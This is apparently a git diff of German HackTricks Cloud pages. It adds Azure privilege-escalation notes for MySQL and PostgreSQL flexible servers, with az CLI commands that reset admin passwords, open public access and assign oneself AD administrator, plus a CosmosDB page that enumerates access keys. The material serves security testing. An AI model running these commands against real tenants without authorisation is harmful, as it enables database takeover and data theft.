+Mit dieser Berechtigung kannst du MySQL Flexible Server-Instanzen auf Azure erstellen, aktualisieren oder löschen. Dies umfasst die Bereitstellung neuer Server, die Modifizierung bestehender Serverkonfigurationen oder die Stilllegung von Servern.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server create \
+--name \
+--resource-group \
+--location \
+--admin-user \
+--admin-password \
+--sku-name \
+--storage-size \
+--tier \
+--version
+```
+{% endcode %}
+
+Zum Beispiel erlauben diese Berechtigungen das Ändern des MySQL-Passworts, was natürlich nützlich ist, falls die MySQL-Authentifizierung aktiviert ist.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server update \
+--resource-group \
+--name \
+--admin-password
+```
+{% endcode %}
+
+Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren:
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server update --resource-group --server-name --public-access Enabled
+```
+{% endcode %}
+
+### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
+
+Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen MySQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den MySQL-Server gewährt. Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, um dies zu nutzen.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server ad-admin create \
+--resource-group \
+--server-name \
+--display-name \
+--identity \
+--object-id
+```
+{% endcode %}
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstütze HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
new file mode 100644
index 000000000..317c78eb7
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -0,0 +1,93 @@
+# Az - PostgreSQL Privesc
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
+
+## PostgreSQL Privesc
+Für weitere Informationen zur SQL-Datenbank siehe:
+
+{% content-ref url="../az-services/az-postgresql.md" %}
+[az-postgresql.md](../az-services/az-postgresql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+
+Mit dieser Berechtigung kannst du PostgreSQL Flexible Server-Instanzen auf Azure erstellen, aktualisieren oder löschen. Dies umfasst die Bereitstellung neuer Server, die Modifizierung bestehender Serverkonfigurationen oder die Stilllegung von Servern.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server create \
+--name \
+--resource-group \
+--location \
+--admin-user \
+--admin-password \
+--sku-name \
+--storage-size \
+--tier \
+--version
+```
+{% endcode %}
+
+Zum Beispiel erlauben diese Berechtigungen das Ändern des PostgreSQL-Passworts, was natürlich nützlich ist, falls die PostgreSQL-Authentifizierung aktiviert ist.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server update \
+--resource-group \
+--name \
+--admin-password
+```
+{% endcode %}
+
+Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren:
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server update --resource-group --server-name --public-access Enabled
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
+
+Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen PostgreSQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den PostgreSQL-Server gewährt. Das Aktualisieren bestehender Prinzipale wird derzeit noch nicht unterstützt, daher müssen Sie, wenn einer erstellt wurde, ihn zuerst löschen.
+
+Es ist wichtig, dass der flexible Server eine benutzerzugewiesene verwaltete Identität hat, um verwendet zu werden.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server ad-admin create \
+--resource-group \
+--server-name \
+--display-name \
+--identity \
+--object-id
+```
+{% endcode %}
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstütze HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index a11f64aad..d71005d80 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -4,7 +4,7 @@
## VMS & Netzwerk
-Für weitere Informationen zu Azure Virtuellen Maschinen und Netzwerk siehe:
+Für weitere Informationen zu Azure Virtual Machines und Netzwerk siehe:
{{#ref}}
../az-services/vms/
@@ -12,7 +12,7 @@ Für weitere Informationen zu Azure Virtuellen Maschinen und Netzwerk siehe:
### **`Microsoft.Compute/virtualMachines/extensions/write`**
-Diese Berechtigung erlaubt das Ausführen von Erweiterungen in virtuellen Maschinen, die es ermöglichen, **willkürlichen Code auf ihnen auszuführen**.\
+Diese Berechtigung ermöglicht das Ausführen von Erweiterungen in virtuellen Maschinen, die es erlauben, **willkürlichen Code auf ihnen auszuführen**.\
Beispiel für den Missbrauch von benutzerdefinierten Erweiterungen, um willkürliche Befehle in einer VM auszuführen:
{{#tabs }}
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
Hybrid Runbook Worker
-Dies ist eine VM-Erweiterung, die es ermöglicht, Runbooks in VMs von einem Automatisierungskonto auszuführen. Für weitere Informationen siehe den [Automation Accounts service](../az-services/az-automation-account/).
+Dies ist eine VM-Erweiterung, die es ermöglicht, Runbooks in VMs von einem Automatisierungskonto aus auszuführen. Für weitere Informationen siehe den [Automation Accounts service](../az-services/az-automation-account/index.html).
@@ -327,7 +327,7 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-Diese Berechtigungen sind ausreichend, um **neue verwaltete Identitäten einem VM zuzuweisen**. Beachten Sie, dass eine VM mehrere verwaltete Identitäten haben kann. Sie kann die **systemzugewiesene** und **viele benutzerverwaltete Identitäten** haben.\
+Diese Berechtigungen sind ausreichend, um **neue verwaltete Identitäten einem VM zuzuweisen**. Beachten Sie, dass eine VM mehrere verwaltete Identitäten haben kann. Sie kann die **systemzugewiesene Identität** und **viele benutzerverwaltete Identitäten** haben.\
Von dem Metadatenservice aus ist es dann möglich, Tokens für jede einzelne zu generieren.
```bash
# Get currently assigned managed identities to the VM
@@ -346,11 +346,11 @@ az vm identity assign \
Dann muss der Angreifer **irgendwie die VM kompromittiert haben**, um Tokens von den zugewiesenen verwalteten Identitäten zu stehlen. Überprüfen Sie **weitere Informationen in**:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
-Laut den [**Docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) ermöglicht diese Berechtigung die Verwaltung des Betriebssystems Ihrer Ressource über das Windows Admin Center als Administrator. Es scheint also, dass dies Zugriff auf das WAC gewährt, um die VMs zu steuern...
+Laut den [**Dokumenten**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) ermöglicht diese Berechtigung die Verwaltung des Betriebssystems Ihrer Ressource über das Windows Admin Center als Administrator. Es scheint also, dass dies Zugriff auf das WAC gewährt, um die VMs zu steuern...
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
new file mode 100644
index 000000000..ca300c0be
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
@@ -0,0 +1,357 @@
+# Az - CosmosDB
+
+{% hint style="success" %}
+Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
+
+
+{% endhint %}
+
+## Azure CosmosDB
+
+**Azure Cosmos DB** ist eine vollständig **verwaltete NoSQL-, relationale und Vektordatenbank**, die Reaktionszeiten im einstelligen Millisekundenbereich, automatische Skalierbarkeit und SLA-gestützte Verfügbarkeit mit Unternehmenssicherheit bietet. Es ermöglicht eine schnellere Anwendungsentwicklung durch schlüsselfertige, mehrregionale Datenverteilung, Open-Source-APIs, SDKs für beliebte Sprachen und KI-Datenbankfunktionen wie integrierte Vektorsupport und nahtlose Azure KI-Integration.
+
+Azure Cosmos DB bietet mehrere Datenbank-APIs, um reale Daten mit Dokumenten, relationalen, Schlüssel-Wert-, Graph- und Spaltenfamilien-Datenmodellen zu modellieren, wobei diese APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin und Table sind.
+
+Ein wichtiger Aspekt von CosmosDB ist das Azure Cosmos-Konto. **Azure Cosmos-Konto** fungiert als Einstiegspunkt zu den Datenbanken. Das Konto bestimmt wichtige Einstellungen wie globale Verteilung, Konsistenzstufen und die spezifische API, die verwendet werden soll, wie z.B. NoSQL. Über das Konto können Sie die globale Replikation konfigurieren, um sicherzustellen, dass Daten in mehreren Regionen für einen latenzarmen Zugriff verfügbar sind. Darüber hinaus können Sie eine Konsistenzstufe wählen, die zwischen Leistung und Datenakkuratheit balanciert, mit Optionen von starker bis eventualer Konsistenz.
+
+### NoSQL (sql)
+Die Azure Cosmos DB NoSQL-API ist eine dokumentenbasierte API, die JSON als Datenformat verwendet. Sie bietet eine SQL-ähnliche Abfragesyntax zum Abfragen von JSON-Objekten, was sie geeignet macht, um mit strukturierten und semi-strukturierten Daten zu arbeiten. Der Endpunkt des Dienstes ist:
+
+{% code overflow="wrap" %}
+```bash
+https://.documents.azure.com:443/
+```
+{% endcode %}
+
+#### Datenbanken
+Innerhalb eines Kontos können Sie eine oder mehrere Datenbanken erstellen, die als logische Gruppierungen von Containern dienen. Eine Datenbank fungiert als Grenze für das Ressourcenmanagement und die Benutzerberechtigungen. Datenbanken können entweder die bereitgestellte Durchsatzrate über ihre Container teilen oder dedizierten Durchsatz für einzelne Container zuweisen.
+
+#### Container
+Die zentrale Einheit der Datenspeicherung ist der Container, der JSON-Dokumente enthält und automatisch für effiziente Abfragen indiziert wird. Container sind elastisch skalierbar und über Partitionen verteilt, die durch einen benutzerdefinierten Partitionierungsschlüssel bestimmt werden. Der Partitionierungsschlüssel ist entscheidend für die Gewährleistung optimaler Leistung und gleichmäßiger Datenverteilung. Zum Beispiel könnte ein Container Kundendaten speichern, wobei "customerId" als Partitionierungsschlüssel dient.
+
+#### Aufzählung
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
+```bash
+# CosmoDB Account
+## List Azure Cosmos DB database accounts.
+az cosmosdb list --resource-group
+az cosmosdb show --resource-group --name
+
+## Lists the virtual network accounts associated with a Cosmos DB account
+az cosmosdb network-rule list --resource-group --name
+## List the access keys or connection strings for a Azure Cosmos DB
+az cosmosdb keys list --name --resource-group
+## List all the database accounts that can be restored.
+az cosmosdb restorable-database-account list --account-name
+## Show the identities for a Azure Cosmos DB database account.
+az cosmosdb identity show --resource-group --name
+
+
+# CosmoDB (NoSQL)
+## List the SQL databases under an Azure Cosmos DB account.
+az cosmosdb sql database list --resource-group --account-name
+## List the SQL containers under an Azure Cosmos DB SQL database.
+az cosmosdb sql container list --account-name --database-name --resource-group
+
+## List all SQL role assignments under an Azure Cosmos DB
+az cosmosdb sql role assignment list --resource-group --account-name
+## List all SQL role definitions under an Azure Cosmos DB
+az cosmosdb sql role definition list --resource-group --account-name
+
+## List the SQL stored procedures under an Azure Cosmos DB
+az cosmosdb sql stored-procedure list --account-name --container-name --database-name --resource-group
+## List the SQL triggers under an Azure Cosmos DB SQL container.
+az cosmosdb sql trigger list --account-name --container-name --database-name --resource-group
+## List the SQL user defined functions under an Azure Cosmos DB SQL container
+az cosmosdb sql user-defined-function list --account-name --container-name --database-name --resource-group
+
+```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.CosmosD
+
+# List all Cosmos DB accounts in a specified resource group.
+Get-AzCosmosDBAccount -ResourceGroupName ""
+
+# Get the access keys for a specific Cosmos DB account.
+Get-AzCosmosDBAccountKey -ResourceGroupName "" -Name ""
+
+# Retrieve the client encryption keys for a specific Cosmos DB account.
+Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "" -AccountName "" -DatabaseName ""
+
+# List all SQL containers in a specific Cosmos DB SQL database.
+Get-AzCosmosDBSqlContainer -ResourceGroupName "" -AccountName "" -DatabaseName ""
+
+# Get backup information for a specific Cosmos DB SQL container.
+Get-AzCosmosDBSqlContainerBackupInformation -ResourceGroupName "" -AccountName "" -DatabaseName "" -Name "" -Location ""
+
+# Get the throughput (RU/s) settings for a specific Cosmos DB SQL container.
+Get-AzCosmosDBSqlContainerThroughput -ResourceGroupName "" -AccountName "" -DatabaseName "" -Name ""
+
+# List all SQL databases under a specific Cosmos DB account.
+Get-AzCosmosDBSqlDatabase -ResourceGroupName "" -AccountName ""
+
+# Get the throughput (RU/s) settings for a specific Cosmos DB SQL database.
+Get-AzCosmosDBSqlDatabaseThroughput -ResourceGroupName "" -AccountName "" -Name ""
+
+# List all SQL role assignments for a specific Cosmos DB account.
+Get-AzCosmosDBSqlRoleAssignment -ResourceGroupName "" -AccountName ""
+
+# List all SQL role definitions for a specific Cosmos DB account.
+Get-AzCosmosDBSqlRoleDefinition -ResourceGroupName "" -AccountName ""
+
+# List all stored procedures in a specific Cosmos DB SQL container.
+Get-AzCosmosDBSqlStoredProcedure -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName ""
+
+# List all triggers in a specific Cosmos DB SQL container.
+Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName ""
+
+# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
+Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName ""
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
+#### Verbindung
+
+Um die azure-cosmosDB (pip install azure-cosmos) Bibliothek zu verbinden, sind der Endpunkt und der Schlüssel entscheidende Komponenten, um die Verbindung herzustellen.
+{% code overflow="wrap" %}
+```python
+from azure.cosmos import CosmosClient, PartitionKey
+
+# Connection details
+endpoint = ""
+key = ""
+
+# Initialize Cosmos Client
+client = CosmosClient(endpoint, key)
+
+# Access existing database and container
+database_name = ''
+container_name = ''
+database = client.get_database_client(database_name)
+container = database.get_container_client(container_name)
+
+# Insert multiple documents
+items_to_insert = [
+{"id": "1", "name": "Sample Item", "description": "This is a sample document."},
+{"id": "2", "name": "Another Sample Item", "description": "This is another sample document."},
+{"id": "3", "name": "Sample Item", "description": "This is a duplicate name sample document."},
+]
+
+for item in items_to_insert:
+container.upsert_item(item)
+
+# Query all documents
+query = "SELECT * FROM c"
+all_items = list(container.query_items(
+query=query,
+enable_cross_partition_query=True
+))
+
+# Print all queried items
+print("All items in the container:")
+for item in all_items:
+print(item)
+```
+{% endcode %}
+
+Eine weitere Möglichkeit, eine Verbindung herzustellen, besteht darin, **DefaultAzureCredential()** zu verwenden. Man muss sich nur mit dem Konto anmelden (az login), das die Berechtigungen hat, und es ausführen. In diesem Fall muss eine Rollen zuweisung vorgenommen werden, um die erforderlichen Berechtigungen zu gewähren (siehe für mor)
+
+{% code overflow="wrap" %}
+```python
+from azure.identity import DefaultAzureCredential
+from azure.cosmos import CosmosClient
+
+# Use Azure AD for authentication
+credential = DefaultAzureCredential()
+endpoint = ""
+client = CosmosClient(endpoint, credential)
+
+# Access database and container
+database_name = ""
+container_name = ""
+database = client.get_database_client(database_name)
+container = database.get_container_client(container_name)
+
+# Insert a document
+item = {
+"id": "1",
+"name": "Sample Item",
+"description": "This is a test item."
+}
+container.create_item(item)
+print("Document inserted.")
+```
+{% endcode %}
+
+### MongoDB
+Die MongoDB NoSQL-API ist eine dokumentenbasierte API, die JSON-ähnliches BSON (Binary JSON) als Datenformat verwendet. Sie bietet eine Abfragesprache mit Aggregationsfähigkeiten, die sie für die Arbeit mit strukturierten, semi-strukturierten und unstrukturierten Daten geeignet macht. Der Endpunkt des Dienstes folgt typischerweise diesem Format:
+
+{% code overflow="wrap" %}
+```bash
+mongodb://:/
+```
+{% endcode %}
+
+#### Datenbanken
+In MongoDB können Sie innerhalb einer Instanz eine oder mehrere Datenbanken erstellen. Jede Datenbank dient als logische Gruppierung von Sammlungen und bietet eine Grenze für die Organisation und Verwaltung von Ressourcen. Datenbanken helfen, Daten logisch zu trennen und zu verwalten, beispielsweise für verschiedene Anwendungen oder Projekte.
+
+#### Sammlungen
+Die zentrale Einheit der Datenspeicherung in MongoDB ist die Sammlung, die Dokumente enthält und für effiziente Abfragen sowie flexibles Schema-Design konzipiert ist. Sammlungen sind elastisch skalierbar und können hochgradig durchsatzstarke Operationen über mehrere Knoten in einer verteilten Umgebung unterstützen.
+
+#### Aufzählung
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
+```bash
+# CosmoDB Account
+## List Azure Cosmos DB database accounts.
+az cosmosdb list --resource-group
+az cosmosdb show --resource-group --name
+
+## Lists the virtual network accounts associated with a Cosmos DB account
+az cosmosdb network-rule list --resource-group --name
+## List the access keys or connection strings for a Azure Cosmos DB
+az cosmosdb keys list --name --resource-group
+## List all the database accounts that can be restored.
+az cosmosdb restorable-database-account list --account-name
+## Show the identities for a Azure Cosmos DB database account.
+az cosmosdb identity show --resource-group --name
+
+```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.CosmosDB
+
+# List all Cosmos DB accounts in a specified resource group.
+Get-AzCosmosDBAccount -ResourceGroupName ""
+
+# Get the access keys for a specific Cosmos DB account.
+Get-AzCosmosDBAccountKey -ResourceGroupName "" -Name ""
+
+# Retrieve the client encryption keys for a specific Cosmos DB account.
+Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "" -AccountName "" -DatabaseName ""
+
+# List all MongoDB collections in a specific database.
+Get-AzCosmosDBMongoDBCollection -AccountName -ResourceGroupName -DatabaseName
+
+# Retrieve backup information for a specific MongoDB collection in a database.
+Get-AzCosmosDBMongoDBCollectionBackupInformation -AccountName -ResourceGroupName -DatabaseName -Name -Location
+
+# Get the throughput (RU/s) of a specific MongoDB collection in a database.
+Get-AzCosmosDBMongoDBCollectionThroughput -AccountName -ResourceGroupName -DatabaseName -Name
+
+# List all MongoDB databases in a specified Cosmos DB account.
+Get-AzCosmosDBMongoDBDatabase -AccountName -ResourceGroupName
+
+# Get the throughput (RU/s) of a specific MongoDB database.
+Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGroupName -DatabaseName
+
+# Retrieve the role definitions for MongoDB users in a specified Cosmos DB account.
+Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName
+
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
+#### Verbindung
+
+Hier das Passwort, das Sie mit den Schlüsseln oder mit der im Privesc-Abschnitt beschriebenen Methode finden können.
+{% code overflow="wrap" %}
+```python
+from pymongo import MongoClient
+
+# Updated connection string with retryWrites=false
+connection_string = "mongodb://.mongo.cosmos.azure.com:10255/?ssl=true&replicaSet=globaldb&retryWrites=false"
+
+# Create the client
+client = MongoClient(connection_string, username="", password="")
+
+# Access the database
+db = client['']
+
+# Access a collection
+collection = db['']
+
+# Insert a single document
+document = {
+"name": "John Doe",
+"email": "johndoe@example.com",
+"age": 30,
+"address": {
+"street": "123 Main St",
+"city": "Somewhere",
+"state": "CA",
+"zip": "90210"
+}
+}
+
+# Insert document
+result = collection.insert_one(document)
+print(f"Inserted document with ID: {result.inserted_id}")
+```
+{% endcode %}
+
+## Referenzen
+
+* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
+* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
+* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
+* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
+
+## Privilegieneskalation
+
+{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
+[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
+{% endcontent-ref %}
+
+## Post-Exploitation
+
+{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
+[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
+{% endcontent-ref %}
+
+## ToDo
+
+* Der Rest der DB hier, Tabellen, Cassandra, Gremlin...
+* Schau dir die Post-Exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" und Rollendefinitionen an, da hier möglicherweise eine Privilegieneskalation vorliegt.
+* Schau dir Wiederherstellungen an.
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
index 17427c4d0..c03dcf6a3 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
@@ -4,18 +4,18 @@
## Grundinformationen
-**Azure Function Apps** sind ein **serverloser Compute-Service**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
+**Azure Function Apps** sind ein **serverloser Compute-Dienst**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
-> [!NOTE]
+> [!HINWEIS]
> Beachten Sie, dass **Funktionen eine Teilmenge der App-Dienste sind**, daher werden viele der hier besprochenen Funktionen auch von Anwendungen verwendet, die als Azure Apps (`webapp` in cli) erstellt wurden.
### Verschiedene Pläne
-- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Pay-as-you-go-Preismodell, das das Hinzufügen oder Entfernen von Funktionsinstanzen basierend auf der Nachfrage ermöglicht. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung erfordern.
+- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Bezahlung nach Nutzung, wobei Funktionsinstanzen je nach Bedarf hinzugefügt oder entfernt werden. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung benötigen.
- **Traditional Consumption Plan**: Die Standard-Serverless-Option, bei der Sie **nur für Rechenressourcen bezahlen, wenn Funktionen ausgeführt werden**. Es skaliert automatisch basierend auf eingehenden Ereignissen und umfasst **Optimierungen für Kaltstarts**, unterstützt jedoch keine Containerbereitstellungen. Ideal für **intermittierende Workloads**, die automatisches Skalieren erfordern.
